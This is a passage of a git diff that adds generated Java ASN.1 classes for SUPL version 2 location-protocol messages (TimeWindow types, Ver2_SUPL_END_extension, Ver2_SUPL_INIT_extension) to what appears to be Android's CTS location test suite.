+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getStopTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStopTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setStopTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeWindow.stopTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stopTime : "
+ + getStopTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class startTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_startTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public startTimeType() {
+ super();
+ setValueRange("-525600", "-1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_startTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_startTimeType != null) {
+ return ImmutableList.of(TAG_startTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new startTimeType from encoded stream.
+ */
+ public static startTimeType fromPerUnaligned(byte[] encodedBytes) {
+ startTimeType result = new startTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new startTimeType from encoded stream.
+ */
+ public static startTimeType fromPerAligned(byte[] encodedBytes) {
+ startTimeType result = new startTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "startTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stopTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stopTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stopTimeType() {
+ super();
+ setValueRange("-525599", "0");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stopTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stopTimeType != null) {
+ return ImmutableList.of(TAG_stopTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stopTimeType from encoded stream.
+ */
+ public static stopTimeType fromPerUnaligned(byte[] encodedBytes) {
+ stopTimeType result = new stopTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stopTimeType from encoded stream.
+ */
+ public static stopTimeType fromPerAligned(byte[] encodedBytes) {
+ stopTimeType result = new stopTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stopTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("TimeWindow = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
new file mode 100755
index 0000000..b142af2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_END_extension.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPL_END_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPL_END_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPL_END_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPL_END_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPL_END_extension != null) {
+ return ImmutableList.of(TAG_Ver2_SUPL_END_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_END_extension from encoded stream.
+ */
+ public static Ver2_SUPL_END_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPL_END_extension result = new Ver2_SUPL_END_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_END_extension from encoded stream.
+ */
+ public static Ver2_SUPL_END_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPL_END_extension result = new Ver2_SUPL_END_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SETCapabilities sETCapabilities_;
+ public SETCapabilities getSETCapabilities() {
+ return sETCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETCapabilities
+ */
+ public void setSETCapabilities(Asn1Object value) {
+ this.sETCapabilities_ = (SETCapabilities) value;
+ }
+ public SETCapabilities setSETCapabilitiesToNewInstance() {
+ sETCapabilities_ = new SETCapabilities();
+ return sETCapabilities_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSETCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSETCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setSETCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sETCapabilities : "
+ + getSETCapabilities().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPL_END_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
new file mode 100755
index 0000000..10f52a0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_INIT_extension.java
@@ -0,0 +1,730 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_triggered_start.TriggerType;
+import android.location.cts.asn1.supl2.ulp_components.SLPAddress;
+import android.location.cts.asn1.supl2.ver2_ulp_components.GNSSPosTechnology;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SupportedNetworkInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPL_INIT_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPL_INIT_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPL_INIT_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPL_INIT_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPL_INIT_extension != null) {
+ return ImmutableList.of(TAG_Ver2_SUPL_INIT_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_INIT_extension from encoded stream.
+ */
+ public static Ver2_SUPL_INIT_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPL_INIT_extension result = new Ver2_SUPL_INIT_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_INIT_extension from encoded stream.
+ */
+ public static Ver2_SUPL_INIT_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPL_INIT_extension result = new Ver2_SUPL_INIT_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NotificationMode notificationMode_;
+ public NotificationMode getNotificationMode() {
+ return notificationMode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NotificationMode
+ */
+ public void setNotificationMode(Asn1Object value) {
+ this.notificationMode_ = (NotificationMode) value;
+ }
+ public NotificationMode setNotificationModeToNewInstance() {
+ notificationMode_ = new NotificationMode();
+ return notificationMode_;
+ }
+
+ private SupportedNetworkInformation supportedNetworkInformation_;
+ public SupportedNetworkInformation getSupportedNetworkInformation() {
+ return supportedNetworkInformation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation
+ */
+ public void setSupportedNetworkInformation(Asn1Object value) {
+ this.supportedNetworkInformation_ = (SupportedNetworkInformation) value;
+ }
+ public SupportedNetworkInformation setSupportedNetworkInformationToNewInstance() {
+ supportedNetworkInformation_ = new SupportedNetworkInformation();
+ return supportedNetworkInformation_;
+ }
+
+ private TriggerType triggerType_;
+ public TriggerType getTriggerType() {
+ return triggerType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TriggerType
+ */
+ public void setTriggerType(Asn1Object value) {
+ this.triggerType_ = (TriggerType) value;
+ }
+ public TriggerType setTriggerTypeToNewInstance() {
+ triggerType_ = new TriggerType();
+ return triggerType_;
+ }
+
+ private SLPAddress e_SLPAddress_;
+ public SLPAddress getE_SLPAddress() {
+ return e_SLPAddress_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SLPAddress
+ */
+ public void setE_SLPAddress(Asn1Object value) {
+ this.e_SLPAddress_ = (SLPAddress) value;
+ }
+ public SLPAddress setE_SLPAddressToNewInstance() {
+ e_SLPAddress_ = new SLPAddress();
+ return e_SLPAddress_;
+ }
+
+ private HistoricReporting historicReporting_;
+ public HistoricReporting getHistoricReporting() {
+ return historicReporting_;
+ }
+ /**
+ * @throws ClassCastException if value is not a HistoricReporting
+ */
+ public void setHistoricReporting(Asn1Object value) {
+ this.historicReporting_ = (HistoricReporting) value;
+ }
+ public HistoricReporting setHistoricReportingToNewInstance() {
+ historicReporting_ = new HistoricReporting();
+ return historicReporting_;
+ }
+
+ private ProtectionLevel protectionLevel_;
+ public ProtectionLevel getProtectionLevel() {
+ return protectionLevel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ProtectionLevel
+ */
+ public void setProtectionLevel(Asn1Object value) {
+ this.protectionLevel_ = (ProtectionLevel) value;
+ }
+ public ProtectionLevel setProtectionLevelToNewInstance() {
+ protectionLevel_ = new ProtectionLevel();
+ return protectionLevel_;
+ }
+
+ private GNSSPosTechnology gnssPosTechnology_;
+ public GNSSPosTechnology getGnssPosTechnology() {
+ return gnssPosTechnology_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology
+ */
+ public void setGnssPosTechnology(Asn1Object value) {
+ this.gnssPosTechnology_ = (GNSSPosTechnology) value;
+ }
+ public GNSSPosTechnology setGnssPosTechnologyToNewInstance() {
+ gnssPosTechnology_ = new GNSSPosTechnology();
+ return gnssPosTechnology_;
+ }
+
+ private Ver2_SUPL_INIT_extension.minimumMajorVersionType minimumMajorVersion_;
+ public Ver2_SUPL_INIT_extension.minimumMajorVersionType getMinimumMajorVersion() {
+ return minimumMajorVersion_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPL_INIT_extension.minimumMajorVersionType
+ */
+ public void setMinimumMajorVersion(Asn1Object value) {
+ this.minimumMajorVersion_ = (Ver2_SUPL_INIT_extension.minimumMajorVersionType) value;
+ }
+ public Ver2_SUPL_INIT_extension.minimumMajorVersionType setMinimumMajorVersionToNewInstance() {
+ minimumMajorVersion_ = new Ver2_SUPL_INIT_extension.minimumMajorVersionType();
+ return minimumMajorVersion_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNotificationMode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNotificationMode();
+ }
+
+ @Override public void setToNewInstance() {
+ setNotificationModeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NotificationMode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "notificationMode : "
+ + getNotificationMode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedNetworkInformation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedNetworkInformation();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedNetworkInformationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedNetworkInformation : "
+ + getSupportedNetworkInformation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getTriggerType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTriggerType();
+ }
+
+ @Override public void setToNewInstance() {
+ setTriggerTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TriggerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "triggerType : "
+ + getTriggerType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getE_SLPAddress() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getE_SLPAddress();
+ }
+
+ @Override public void setToNewInstance() {
+ setE_SLPAddressToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SLPAddress.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "e_SLPAddress : "
+ + getE_SLPAddress().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getHistoricReporting() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHistoricReporting();
+ }
+
+ @Override public void setToNewInstance() {
+ setHistoricReportingToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HistoricReporting.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "historicReporting : "
+ + getHistoricReporting().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getProtectionLevel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getProtectionLevel();
+ }
+
+ @Override public void setToNewInstance() {
+ setProtectionLevelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ProtectionLevel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "protectionLevel : "
+ + getProtectionLevel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getGnssPosTechnology() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGnssPosTechnology();
+ }
+
+ @Override public void setToNewInstance() {
+ setGnssPosTechnologyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gnssPosTechnology : "
+ + getGnssPosTechnology().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getMinimumMajorVersion() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMinimumMajorVersion();
+ }
+
+ @Override public void setToNewInstance() {
+ setMinimumMajorVersionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver2_SUPL_INIT_extension.minimumMajorVersionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "minimumMajorVersion : "
+ + getMinimumMajorVersion().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class minimumMajorVersionType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_minimumMajorVersionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public minimumMajorVersionType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_minimumMajorVersionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_minimumMajorVersionType != null) {
+ return ImmutableList.of(TAG_minimumMajorVersionType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new minimumMajorVersionType from encoded stream.
+ */
+ public static minimumMajorVersionType fromPerUnaligned(byte[] encodedBytes) {
+ minimumMajorVersionType result = new minimumMajorVersionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new minimumMajorVersionType from encoded stream.
+ */
+ public static minimumMajorVersionType fromPerAligned(byte[] encodedBytes) {
+ minimumMajorVersionType result = new minimumMajorVersionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "minimumMajorVersionType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPL_INIT_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
new file mode 100755
index 0000000..13757c9
--- /dev/null
